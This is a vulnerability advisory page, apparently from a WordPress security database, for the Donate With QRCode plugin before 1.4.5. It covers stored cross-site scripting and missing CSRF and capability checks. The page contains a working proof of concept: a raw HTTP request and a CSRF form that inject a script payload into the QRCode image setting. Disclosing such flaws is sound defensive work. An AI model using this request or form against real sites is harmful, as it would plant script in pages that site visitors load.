Lucene search

K
wpexploit[email protected] incWPEX-ID:D50B801A-16B5-45E9-A465-E3BB0445CB49
HistoryAug 19, 2021 - 12:00 a.m.

Donate With QRCode < 1.4.5 - Stored Cross-Site Scripting

2021-08-1900:00:00
368
stored cross-site scripting" "csrf" "qrcode image" "authentication check" "capability check" "sanitisation" "parameter" "vulnerability" "update

EPSS

0.001

Percentile

21.2%

The plugin does not sanitise or escape its QRCode Image setting, which result into a Stored Cross-Site Scripting (XSS). Furthermore, the plugin also does not have any CSRF and capability checks in place when saving such setting, allowing any authenticated user (as low as subscriber), or unauthenticated user via a CSRF vector to update them and perform such attack. v1.4.4 added proper capability check as well as some sanitisation and escaping, but the affected parameter is still not properly escaped and CSRF check is completely missing v1.4.5 properly sanitised the affected parameter. CSRF still missing. A separate issue has been created for this

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 586
Connection: close
Cookie: [any authenticated user in v < 1.4.2, admin via CSRF in v < 1.4.5]

action=wb_dwqr_setting&do=set_setting&opt%5Bdwqr_switch%5D=1&opt%5Btheme_color%5D=%230066CC&opt%5Bdwqr_module%5D%5Bdonate%5D=1&opt%5Bdwqr_module%5D%5Blike%5D=1&opt%5Bdwqr_module%5D%5Bposter%5D=1&opt%5Bdwqr_module%5D%5Bshare%5D=1&opt%5Bdwqr_module%5D%5Bposition%5D=0&opt%5Bitems%5D%5Bweixin%5D%5Bname%5D=%E5%BE%AE%E4%BF%A1&opt%5Bitems%5D%5Bweixin%5D%5Bimg%5D='%3B+alert(%2FXSS%2F)%3Bvar+var1%3D'&opt%5Bitems%5D%5Balipay%5D%5Bname%5D=%E6%94%AF%E4%BB%98%E5%AE%9D&opt%5Bitems%5D%5Balipay%5D%5Bimg%5D=&opt%5Blogo_url%5D=&opt%5Bcover_url%5D=&opt%5Bposter_theme%5D=0&opt%5Bcover_ratio%5D=3%3A2


<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wb_dwqr_setting" />
      <input type="hidden" name="do" value="set_setting" />
      <input type="hidden" name="opt[dwqr_switch]" value="1" />
      <input type="hidden" name="opt[theme_color]" value="#0066CC" />
      <input type="hidden" name="opt[dwqr_module][donate]" value="1" />
      <input type="hidden" name="opt[dwqr_module][like]" value="1" />
      <input type="hidden" name="opt[dwqr_module][poster]" value="1" />
      <input type="hidden" name="opt[dwqr_module][share]" value="1" />
      <input type="hidden" name="opt[dwqr_module][position]" value="0" />
      <input type="hidden" name="opt[items][weixin][name]" value="微信" />
      <input type="hidden" name="opt[items][weixin][img]" value="'; alert(/XSS/);var var1='" />
      <input type="hidden" name="opt[items][alipay][name]" value="支付宝" />
      <input type="hidden" name="opt[items][alipay][img]" value="" />
      <input type="hidden" name="opt[logo_url]" value="" />
      <input type="hidden" name="opt[cover_url]" value="" />
      <input type="hidden" name="opt[poster_theme]" value="0" />
      <input type="hidden" name="opt[cover_ratio]" value="3:2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The XSS will be triggered in all frontend posts

EPSS

0.001

Percentile

21.2%

Related for WPEX-ID:D50B801A-16B5-45E9-A465-E3BB0445CB49